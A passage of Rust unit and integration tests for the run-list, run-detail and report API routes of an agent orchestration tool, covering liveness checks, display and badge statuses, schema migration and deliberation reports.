18648        assert_eq!(row["judges"], 3);
18649        assert_eq!(row["winner"], Value::Null);
18650        assert_eq!(row["reviews"], 0);
18651
18652        // The short id resolves, and the detail route is the state itself, not
18653        // a projection of it: the UI reads fields the summary does not carry.
18654        let detail = f.get("/api/runs/a1b2").await;
18655        assert_eq!(detail.status, 200);
18656        assert_eq!(detail.json()["base_branch"], "main");
18657        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18658    }
18659
18660    /// `status: "ready"` alone cannot tell a run still headed for a landing
18661    /// (a PR closed without merging, say) apart from one `[merge] mode =
18662    /// "none"` left unmerged for good — the confusion the operator flagged
18663    /// after the CLI report already grew a `not landed — nothing to do by
18664    /// design` line for exactly this case (`report.rs`). Both the list route
18665    /// and the detail route must carry a flag the phone can key on instead of
18666    /// re-deriving it from `status` + `merge.mode` itself.
18667    #[tokio::test]
18668    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18669        let f = Fixture::start().await;
18670
18671        let mut none_run = RunState::new(
18672            PathBuf::from("/repo/magi"),
18673            "main".to_owned(),
18674            "0123456789abcdef".to_owned(),
18675            "Add a web UI".to_owned(),
18676            Config::default(),
18677        );
18678        none_run.id = "20260902-140503-none".to_owned();
18679        none_run.status = RunStatus::Ready;
18680        none_run.merge = Some(crate::run::MergeOutcome {
18681            mode: crate::config::MergeMode::None,
18682            ok: true,
18683            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18684            empty: false,
18685        });
18686        write_state(&f.runs(), &none_run);
18687
18688        let mut pr_run = RunState::new(
18689            PathBuf::from("/repo/magi"),
18690            "main".to_owned(),
18691            "0123456789abcdef".to_owned(),
18692            "Add a web UI".to_owned(),
18693            Config::default(),
18694        );
18695        pr_run.id = "20260902-140504-prcl".to_owned();
18696        pr_run.status = RunStatus::Ready;
18697        pr_run.merge = Some(crate::run::MergeOutcome {
18698            mode: crate::config::MergeMode::Pr,
18699            ok: false,
18700            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18701            empty: false,
18702        });
18703        write_state(&f.runs(), &pr_run);
18704
18705        let summary = f.get("/api/runs").await.json();
18706        let rows: std::collections::HashMap<&str, &Value> = summary
18707            .as_array()
18708            .expect("an array")
18709            .iter()
18710            .map(|r| (r["id"].as_str().expect("an id"), r))
18711            .collect();
18712        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18713        assert_eq!(
18714            rows[none_run.id.as_str()]["unmerged_by_design"],
18715            true,
18716            "a mode-none Ready must be flagged in the list"
18717        );
18718        assert_eq!(
18719            rows[pr_run.id.as_str()]["unmerged_by_design"],
18720            false,
18721            "a Ready reached by a closed pull request is a different case"
18722        );
18723
18724        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18725        assert_eq!(none_detail["status"], "ready");
18726        assert_eq!(none_detail["unmerged_by_design"], true);
18727
18728        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18729        assert_eq!(pr_detail["unmerged_by_design"], false);
18730    }
18731
18732    /// `RunState::active` is only ever cleared by whoever populated it, so the
18733    /// detail route also has to say whether a daemon is actually still
18734    /// driving this run right now — otherwise a seat from a killed process's
18735    /// last wave would read as live forever.
18736    #[tokio::test]
18737    async fn run_core_survives_unavailable_related_stores() {
18738        let home = TempDir::new().unwrap();
18739        let ui = delta_test_ui(home.path());
18740        let state = RunState::new(
18741            PathBuf::from("/repo/magi"),
18742            "main".into(),
18743            "0123456789abcdef".into(),
18744            "Useful core instructions".into(),
18745            Config::default(),
18746        );
18747        let dir = ui.runs.join(&state.id);
18748        std::fs::create_dir_all(&dir).unwrap();
18749        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18750        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18751        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18752        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18753            .await
18754            .unwrap()
18755            .0;
18756        assert_eq!(core.state.instruction, state.instruction);
18757        assert_eq!(core.state.updated_at, state.updated_at);
18758        assert!(core.task.is_none());
18759        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18760    }
18761
18762    #[tokio::test]
18763    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18764        let f = Fixture::start().await;
18765        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18766        // half of this test can claim the daemon is working on it without a
18767        // second helper.
18768        let id = "20260902-140502-bbbb";
18769        let mut state = RunState::new(
18770            PathBuf::from("/repo/magi"),
18771            "main".to_owned(),
18772            "0123456789abcdef".to_owned(),
18773            "Add a web UI".to_owned(),
18774            Config::default(),
18775        );
18776        state.id = id.to_owned();
18777        state.status = RunStatus::Judging;
18778        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18779        let dir = f.runs().join(id);
18780        std::fs::create_dir_all(&dir).expect("run dir");
18781        std::fs::write(
18782            dir.join("run.json"),
18783            serde_json::to_string_pretty(&state).expect("serialize run"),
18784        )
18785        .expect("write run.json");
18786
18787        // No daemon.json at all, and no `driver_pid` recorded either (this
18788        // state was written directly, never through `execute()`): there is
18789        // nothing to confirm either way, so the route must say `"unknown"` —
18790        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18791        // run` used to get from this route before `driver_pid` existed.
18792        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18793        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18794        assert_eq!(cold["live"], "unknown", "{cold}");
18795
18796        // A fresh heartbeat naming exactly this run: the same entry now reads
18797        // as confirmed, not merely recorded.
18798        write_daemon(f.home.path(), Timestamp::now());
18799        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18800        assert_eq!(warm["live"], "live", "{warm}");
18801    }
18802
18803    #[test]
18804    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18805        let home = tempfile::tempdir().expect("temp home");
18806        let runs = home.path().join("runs");
18807        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18808            let mut state = RunState::new(
18809                PathBuf::from("/repo/magi"),
18810                "main".to_owned(),
18811                "0123456789abcdef".to_owned(),
18812                "Generated review context, not authored task criteria".to_owned(),
18813                Config::default(),
18814            );
18815            state.origin = origin;
18816            state.status = RunStatus::Blocked;
18817            // Earlier migrations must not infer these facts again.
18818            state.driver_exited = false;
18819            state.gate_ran = true;
18820            let expected = serde_json::to_value(&state).expect("serialize current state");
18821            let mut legacy = expected.clone();
18822            legacy["schema"] = serde_json::json!(13);
18823            legacy.as_object_mut().unwrap().remove("task_instruction");
18824            let dir = runs.join(&state.id);
18825            std::fs::create_dir_all(&dir).expect("run dir");
18826            let path = dir.join("run.json");
18827            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18828            std::fs::write(&path, &body).expect("write legacy run");
18829
18830            for loaded in [
18831                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18832                read_run(&runs, &state.id).expect("web migration"),
18833            ] {
18834                assert_eq!(loaded.schema, crate::run::SCHEMA);
18835                assert!(loaded.task_instruction.is_none());
18836                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18837            }
18838            assert_eq!(runs_unreadable(&runs), 0);
18839            assert_eq!(std::fs::read(&path).unwrap(), body);
18840        }
18841    }
18842
18843    /// Where a run came from is shown, and a run written before origins were
18844    /// recorded (schema 12, no `origin` key) stays readable and says so.
18845    #[tokio::test]
18846    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18847        let f = Fixture::start().await;
18848        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18849            let mut state = RunState::new(
18850                PathBuf::from("/repo/magi"),
18851                "main".to_owned(),
18852                "0123456789abcdef".to_owned(),
18853                "Add a web UI".to_owned(),
18854                Config::default(),
18855            );
18856            state.id = id.to_owned();
18857            state.origin = origin;
18858            let mut value = serde_json::to_value(&state).expect("serialize run");
18859            if let Some(schema) = schema {
18860                value["schema"] = serde_json::json!(schema);
18861                value.as_object_mut().unwrap().remove("origin");
18862            }
18863            let dir = f.runs().join(id);
18864            std::fs::create_dir_all(&dir).expect("run dir");
18865            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18866        };
18867        write(
18868            "20260930-092817-ec34",
18869            Some(crate::run::Origin::from_agent_env(
18870                Some(("4a7b".to_owned(), "chat".to_owned())),
18871                None,
18872            )),
18873            None,
18874        );
18875        write("20260930-092817-0ld1", None, Some(12));
18876
18877        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18878        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18879        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18880
18881        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18882        assert_eq!(
18883            old["origin_label"], "origin unknown (started before origins were recorded)",
18884            "{old}"
18885        );
18886        assert!(old["origin"].is_null(), "{old}");
18887
18888        let list = f.get("/api/runs").await.json();
18889        let labels: Vec<_> = list
18890            .as_array()
18891            .unwrap()
18892            .iter()
18893            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18894            .collect();
18895        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18896    }
18897
18898    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18899    /// review` claims no daemon at all, so before this field existed the
18900    /// route above read it as `"dead"` — indistinguishable from a run a
18901    /// killed process abandoned — the whole time it was genuinely still
18902    /// answering. With a live pid recorded, it must read `"live"` even
18903    /// though no daemon claims it.
18904    #[tokio::test]
18905    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18906        let f = Fixture::start().await;
18907        let id = "20260922-090000-cccc";
18908        let mut state = RunState::new(
18909            PathBuf::from("/repo/magi"),
18910            "main".to_owned(),
18911            "0123456789abcdef".to_owned(),
18912            "Review only".to_owned(),
18913            Config::default(),
18914        );
18915        state.id = id.to_owned();
18916        state.status = RunStatus::Reviewing;
18917        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18918        // This test process's own pid: guaranteed alive, and never needs a
18919        // real daemon or a second process to prove it. The matching start-time
18920        // marker is what `liveness` now requires alongside a live pid — see
18921        // `RunState::driver_started_at`'s own doc for why the pid alone is
18922        // not enough.
18923        state.driver_pid = Some(std::process::id());
18924        state.driver_started_at = Some(
18925            crate::proc::process_started_at(std::process::id())
18926                .expect("this test process's own start time must be queryable"),
18927        );
18928        let dir = f.runs().join(id);
18929        std::fs::create_dir_all(&dir).expect("run dir");
18930        std::fs::write(
18931            dir.join("run.json"),
18932            serde_json::to_string_pretty(&state).expect("serialize run"),
18933        )
18934        .expect("write run.json");
18935
18936        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18937        assert_eq!(detail["live"], "live", "{detail}");
18938    }
18939
18940    /// A killed manual run's pid can be handed to a wholly unrelated later
18941    /// process — a live query on `driver_pid` alone would read this as
18942    /// `"live"`, exactly the false positive `driver_started_at` exists to
18943    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18944    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18945    #[tokio::test]
18946    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18947        let f = Fixture::start().await;
18948        let id = "20260922-090100-dddd";
18949        let mut state = RunState::new(
18950            PathBuf::from("/repo/magi"),
18951            "main".to_owned(),
18952            "0123456789abcdef".to_owned(),
18953            "Review only".to_owned(),
18954            Config::default(),
18955        );
18956        state.id = id.to_owned();
18957        state.status = RunStatus::Reviewing;
18958        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18959        // This test process's own pid really is alive, but the marker
18960        // recorded here does not match what it actually started at —
18961        // standing in for the pid having since been reused by a different
18962        // process than the one that wrote `run.json`.
18963        state.driver_pid = Some(std::process::id());
18964        state.driver_started_at = Some("1".to_owned());
18965        let dir = f.runs().join(id);
18966        std::fs::create_dir_all(&dir).expect("run dir");
18967        std::fs::write(
18968            dir.join("run.json"),
18969            serde_json::to_string_pretty(&state).expect("serialize run"),
18970        )
18971        .expect("write run.json");
18972
18973        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18974        assert_eq!(detail["live"], "dead", "{detail}");
18975    }
18976
18977    /// The deck's competition list is normally the first place an operator
18978    /// sees an old run. It must carry the same process verdict as detail, or
18979    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18980    #[test]
18981    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18982        let mk = |id: &str, pid: Option<u32>| {
18983            let mut s = RunState::new(
18984                PathBuf::from("/repo/magi"),
18985                "main".to_owned(),
18986                "0123456789abcdef".to_owned(),
18987                "Add a web UI".to_owned(),
18988                Config::default(),
18989            );
18990            s.id = id.to_owned();
18991            s.driver_pid = pid;
18992            s.driver_started_at = Some("1790000000".to_owned());
18993            s
18994        };
18995        let states = vec![
18996            mk("20260902-140502-aaaa", Some(77)),
18997            mk("20260902-140502-bbbb", Some(77)),
18998            mk("20260902-140502-cccc", Some(77)),
18999            mk("20260902-140502-dddd", None),
19000        ];
19001        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19002        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19003        let sup: HashMap<String, String> = [(
19004            "20260902-140502-aaaa".to_owned(),
19005            "20260902-140502-cccc".to_owned(),
19006        )]
19007        .into();
19008
19009        let status_calls = std::cell::Cell::new(0);
19010        let identity_calls = std::cell::Cell::new(0);
19011        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19012            |_| {
19013                status_calls.set(status_calls.get() + 1);
19014                Some(true)
19015            },
19016            |_| {
19017                identity_calls.set(identity_calls.get() + 1);
19018                Some("1790000000".to_owned())
19019            },
19020        ));
19021        let rows = summarize(
19022            states,
19023            &open,
19024            &claimed,
19025            &sup,
19026            |p| probe.borrow_mut().status(p),
19027            |p| probe.borrow_mut().started_at(p),
19028        );
19029
19030        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19031        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19032        assert_eq!(rows.len(), 4);
19033        assert!(!rows[0].waiting && rows[1].waiting);
19034        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19035        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19036        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19037        assert_eq!(rows[1].superseded_by, None);
19038    }
19039
19040    #[test]
19041    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19042        let mut state = RunState::new(
19043            PathBuf::from("/repo/magi"),
19044            "main".to_owned(),
19045            "0123456789abcdef".to_owned(),
19046            "Review only".to_owned(),
19047            Config::default(),
19048        );
19049        state.id = "20260922-090200-dead".to_owned();
19050        state.status = RunStatus::Reviewing;
19051        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19052            .expect("serialize list row");
19053        assert_eq!(row["status"], "reviewing");
19054        assert_eq!(row["display_status"], "stale");
19055        assert_eq!(row["live"], "dead", "{row}");
19056        assert!(!row["done"].as_bool().unwrap());
19057    }
19058
19059    #[test]
19060    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19061        use crate::run::Liveness::{Dead, Live, Unknown};
19062        let mut state = RunState::new(
19063            PathBuf::from("/repo/magi"),
19064            "main".to_owned(),
19065            "abc".to_owned(),
19066            "Review only".to_owned(),
19067            Config::default(),
19068        );
19069        for (status, parked, node, waiting, live, expected) in [
19070            (
19071                RunStatus::Judging,
19072                true,
19073                "github-text",
19074                false,
19075                Dead,
19076                "parked",
19077            ),
19078            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19079            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19080            (
19081                RunStatus::Judging,
19082                true,
19083                "github-text",
19084                true,
19085                Dead,
19086                "waiting",
19087            ),
19088            (
19089                RunStatus::Judging,
19090                false,
19091                "github-text",
19092                true,
19093                Dead,
19094                "waiting",
19095            ),
19096            (
19097                RunStatus::Judging,
19098                false,
19099                "github-text",
19100                false,
19101                Dead,
19102                "stale",
19103            ),
19104            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19105            (RunStatus::Judging, true, "park", false, Live, "judging"),
19106            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19107            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19108            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19109            (
19110                RunStatus::Blocked,
19111                true,
19112                "github-text",
19113                true,
19114                Dead,
19115                "waiting",
19116            ),
19117        ] {
19118            state.status = status;
19119            state.parked = parked;
19120            state.events.clear();
19121            state.event(
19122                "park",
19123                "an earlier park does not determine the latest state",
19124            );
19125            state.event(node, "message is not used for classification");
19126            let summary = RunSummary::of(&state, waiting, live);
19127            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19128            assert_eq!(
19129                summary.display_status, expected,
19130                "{status:?}/{node}/{live:?}"
19131            );
19132            assert_eq!(detail.display_status, summary.display_status);
19133            assert_eq!(detail.waiting, summary.waiting);
19134        }
19135        state.status = RunStatus::Judging;
19136        state.parked = false;
19137        state.events.clear();
19138        assert_eq!(run_display_status(&state, false, Dead), "stale");
19139    }
19140
19141    #[test]
19142    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19143        use crate::run::Liveness::{Dead, Live, Unknown};
19144        let mut state = RunState::new(
19145            PathBuf::from("/repo/magi"),
19146            "main".to_owned(),
19147            "abc".to_owned(),
19148            "Badge".to_owned(),
19149            Config::default(),
19150        );
19151        for (status, waiting, live, superseded, expected) in [
19152            (RunStatus::Gating, false, Dead, false, "stale"),
19153            (RunStatus::Gating, false, Dead, true, "superseded"),
19154            (RunStatus::Gating, false, Unknown, true, "superseded"),
19155            (RunStatus::Gating, true, Dead, true, "superseded"),
19156            (RunStatus::Gating, true, Dead, false, "waiting"),
19157            (RunStatus::Gating, false, Unknown, false, "gating"),
19158            (RunStatus::Gating, false, Live, true, "gating"),
19159            (RunStatus::Gating, true, Live, true, "waiting"),
19160            (RunStatus::Merged, false, Dead, true, "merged"),
19161            (RunStatus::Blocked, false, Dead, true, "blocked"),
19162        ] {
19163            state.status = status;
19164            let display = run_display_status(&state, waiting, live);
19165            assert_eq!(
19166                run_badge_status(&state, &display, live, superseded),
19167                expected,
19168                "{status:?}/{live:?}/superseded={superseded}"
19169            );
19170        }
19171    }
19172
19173    #[test]
19174    fn summarize_and_detail_expose_badge_status() {
19175        use crate::run::Liveness::Dead;
19176        let mut state = RunState::new(
19177            PathBuf::from("/repo/magi"),
19178            "main".to_owned(),
19179            "abc".to_owned(),
19180            "Badge".to_owned(),
19181            Config::default(),
19182        );
19183        state.status = RunStatus::Gating;
19184        let none = HashSet::new();
19185        let id = state.id.clone();
19186        let mut by = HashMap::new();
19187        let rows = summarize(
19188            [state.clone()],
19189            &none,
19190            &none,
19191            &by,
19192            |_| Some(false),
19193            |_| None,
19194        );
19195        // No driver recorded: liveness is not provably dead, so the node stays.
19196        assert_eq!(rows[0].badge_status, rows[0].display_status);
19197        by.insert(id, "20260901-000000-913b".to_owned());
19198        let detail = RunDetailView::of(
19199            state.clone(),
19200            false,
19201            Dead,
19202            Some("913b".to_owned()),
19203            None,
19204            None,
19205        );
19206        assert_eq!(detail.badge_status, "superseded");
19207        let json = serde_json::to_value(&detail).unwrap();
19208        assert_eq!(json["badge_status"], "superseded");
19209        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19210        assert_eq!(detail.badge_status, "stale");
19211    }
19212
19213    #[tokio::test]
19214    async fn run_display_status_routes_share_the_open_question_store() {
19215        let f = Fixture::start().await;
19216        let id = "20260922-090200-abcd";
19217        write_run(&f.runs(), id, RunStatus::Judging);
19218        let mut state = read_run(&f.runs(), id).unwrap();
19219        state.parked = true;
19220        state.driver_exited = true;
19221        state.event("github-text", "waiting for the owner");
19222        state.save_under(f.home.path()).unwrap();
19223        let mut task = Task::new(
19224            "resumed task".to_owned(),
19225            "do it".to_owned(),
19226            PathBuf::from("/repo"),
19227            Source::Human,
19228        );
19229        task.runs = vec![id.to_owned(), id.to_owned()];
19230        f.queue().put(&mut task).unwrap();
19231        let store = f.questions();
19232        let mut q = Question::new(
19233            id.to_owned(),
19234            "github-text".to_owned(),
19235            "owner".to_owned(),
19236            "Approve the text?".to_owned(),
19237            String::new(),
19238            Vec::new(),
19239        );
19240        store.put(&mut q).unwrap();
19241        for expected in ["waiting", "parked"] {
19242            let list = f.get("/api/runs").await.json();
19243            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19244            assert_eq!(list[0]["display_status"], expected);
19245            assert_eq!(detail["display_status"], expected);
19246            assert_eq!(detail["waiting"], list[0]["waiting"]);
19247            assert_eq!(list[0]["badge_status"], expected);
19248            assert_eq!(detail["badge_status"], expected);
19249            assert!(list[0]["superseded_by"].is_null());
19250            assert!(detail["superseded_by"].is_null());
19251            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19252            let history = task_detail["history"].as_array().unwrap();
19253            assert_eq!(history.len(), 2);
19254            assert!(history[0]["badge"].is_null());
19255            assert_eq!(history[1]["badge"], expected);
19256            q.status = ask::QuestionStatus::Answered;
19257            store.put(&mut q).unwrap();
19258        }
19259    }
19260
19261    #[tokio::test]
19262    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19263        let f = Fixture::start().await;
19264        let id = "20260922-090200-abcd";
19265        write_run(&f.runs(), id, RunStatus::Judging);
19266        let mut state = read_run(&f.runs(), id).unwrap();
19267        state.parked = true;
19268        state.driver_exited = true;
19269        state.event("park", "stopped at a node boundary");
19270        state.save_under(f.home.path()).unwrap();
19271
19272        for expected in ["parked", "stale"] {
19273            let list = f.get("/api/runs").await.json();
19274            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19275            assert_eq!(list[0]["live"], "dead");
19276            assert_eq!(list[0]["display_status"], expected);
19277            assert_eq!(detail["display_status"], expected);
19278            // Model a driver claim followed by a crash before the next event:
19279            // the persisted flag changes, but the last event is still park.
19280            state.parked = false;
19281            state.save_under(f.home.path()).unwrap();
19282        }
19283    }
19284
19285    #[tokio::test]
19286    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19287        let f = Fixture::start().await;
19288        for id in [
19289            "20260902-140501-aaaa",
19290            "20260902-140502-bbbb",
19291            "20260902-140503-cccc",
19292        ] {
19293            write_run(&f.runs(), id, RunStatus::Merged);
19294        }
19295
19296        let all = f.get("/api/runs").await.json();
19297        let capped = f.get("/api/runs?limit=2").await.json();
19298
19299        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19300        assert_eq!(all.as_array().map(Vec::len), Some(3));
19301        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19302        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19303    }
19304
19305    #[tokio::test]
19306    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19307        let f = Fixture::start().await;
19308        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19309
19310        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19311
19312        assert_eq!(res.status, 200);
19313        assert!(
19314            res.headers
19315                .contains("content-type: text/plain; charset=utf-8"),
19316            "a browser must render it, not download it: {}",
19317            res.headers
19318        );
19319        // The assertion is on content, not on the absence of escapes: colour
19320        // is a process-global that `serve` turns off at startup, and another
19321        // test in this binary may own it while this one runs.
19322        assert!(
19323            res.body.contains("20260902-140501-a1b2"),
19324            "the report is about the run that was asked for: {}",
19325            res.body
19326        );
19327    }
19328
19329    #[tokio::test]
19330    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19331        // The view names the run's state directory, which reads the process-global home.
19332        crate::run::pin_test_home();
19333        let f = Fixture::start().await;
19334        let id = "20260902-140501-a1b2";
19335        write_run(&f.runs(), id, RunStatus::Stalled);
19336        // A stalled panel and one review round, written through the real
19337        // state file so the route reads what a run really leaves behind.
19338        let path = f.runs().join(id).join("run.json");
19339        let mut v: serde_json::Value =
19340            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19341        v["tally"] = serde_json::json!({
19342            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19343            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19344            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19345            "met_quorum": false, "rankings": 1
19346        });
19347        v["reviews"] = serde_json::json!([{
19348            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19349            "e2e_deferred": true,
19350            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19351                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19352            ]}]
19353        }]);
19354        std::fs::write(&path, v.to_string()).unwrap();
19355        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19356        std::fs::write(
19357            f.runs().join("20260902-140502-dead").join("run.json"),
19358            "{not json",
19359        )
19360        .unwrap();
19361
19362        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19363
19364        assert_eq!(res.status, 200, "{}", res.body);
19365        assert!(res.headers.contains("content-type: application/json"));
19366        let j = res.json();
19367        assert_eq!(j["schema"], 1);
19368        assert_eq!(j["header"]["id"], id);
19369        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19370        let kinds: Vec<&str> = j["sections"]
19371            .as_array()
19372            .unwrap()
19373            .iter()
19374            .map(|s| s["kind"].as_str().unwrap())
19375            .collect();
19376        assert_eq!(kinds, ["candidates", "tally", "review"]);
19377        let tally = &j["sections"][1]["tally"];
19378        assert_eq!(
19379            (tally["decided"].clone(), tally["provisional"].clone()),
19380            (false.into(), true.into())
19381        );
19382        let round = &j["sections"][2]["rounds"][0];
19383        assert_eq!(round["e2e"]["state"], "deferred");
19384        assert_eq!(round["findings"][0]["severity"], "major");
19385        assert_eq!(round["findings"][0]["blocking"], true);
19386        assert_eq!(round["findings"][0]["state"], "open");
19387
19388        // The raw route keeps working beside it.
19389        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19390
19391        // An unreadable run is an error, as on the text route, and is counted.
19392        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19393        assert_ne!(bad.status, 200, "{}", bad.body);
19394        assert_eq!(
19395            bad.status,
19396            f.get("/api/runs/20260902-140502-dead/report").await.status
19397        );
19398        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19399        assert_eq!(
19400            f.get("/api/runs/20260902-999999-ffff/report.json")
19401                .await
19402                .status,
19403            404
19404        );
19405    }
19406
19407    #[tokio::test]
19408    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19409        crate::run::pin_test_home();
19410        let f = Fixture::start().await;
19411        let id = "20260902-140503-delib";
19412        write_run(&f.runs(), id, RunStatus::Merged);
19413        let path = f.runs().join(id).join("run.json");
19414        let mut v: serde_json::Value =
19415            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19416        v["judgements"] = serde_json::json!([
19417            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19418        ]);
19419        v["tally"] = serde_json::json!({
19420            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19421            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19422            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19423            "met_quorum": true, "rankings": 1
19424        });
19425        v["deliberation"] = serde_json::json!([
19426            {
19427                "round": 1,
19428                "turns": [
19429                    {
19430                        "judge": 1,
19431                        "agent": "judge-1",
19432                        "body": "I prefer candidate **A** because it has cleaner tests.",
19433                        "tentative": "A"
19434                    }
19435                ]
19436            },
19437            {
19438                "round": 2,
19439                "turns": [
19440                    {
19441                        "judge": 1,
19442                        "agent": "judge-1",
19443                        "body": "Still thinking, no choice yet.",
19444                        "tentative": null
19445                    }
19446                ]
19447            }
19448        ]);
19449        std::fs::write(&path, v.to_string()).unwrap();
19450
19451        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19452        assert_eq!(res.status, 200, "{}", res.body);
19453        let j = res.json();
19454        let judging = j["sections"]
19455            .as_array()
19456            .unwrap()
19457            .iter()
19458            .find(|s| s["kind"] == "judging")
19459            .expect("judging section exists");
19460
19461        // Existing summary lines remain intact
19462        let delib_lines = judging["deliberation"].as_array().unwrap();
19463        assert_eq!(delib_lines.len(), 2);
19464        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19465        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19466
19467        // rounds carry turn bodies, tentative and parsed body_md
19468        let rounds = judging["rounds"].as_array().unwrap();
19469        assert_eq!(rounds.len(), 2);
19470        let r1_t0 = &rounds[0]["turns"][0];
19471        assert_eq!(r1_t0["judge"], 1);
19472        assert_eq!(r1_t0["agent"], "judge-1");
19473        assert_eq!(r1_t0["tentative"], "A");
19474        assert_eq!(
19475            r1_t0["body"],
19476            "I prefer candidate **A** because it has cleaner tests."
19477        );
19478        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19479
19480        let r2_t0 = &rounds[1]["turns"][0];
19481        assert_eq!(r2_t0["judge"], 1);
19482        assert_eq!(r2_t0["agent"], "judge-1");
19483        assert!(r2_t0["tentative"].is_null());
19484        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19485        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19486
19487        // A run with empty deliberation array yields empty rounds
19488        let id_empty = "20260902-140504-nodelib";
19489        write_run(&f.runs(), id_empty, RunStatus::Merged);
19490        let path_empty = f.runs().join(id_empty).join("run.json");
19491        let mut v_empty: serde_json::Value =
19492            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19493        v_empty["judgements"] = serde_json::json!([
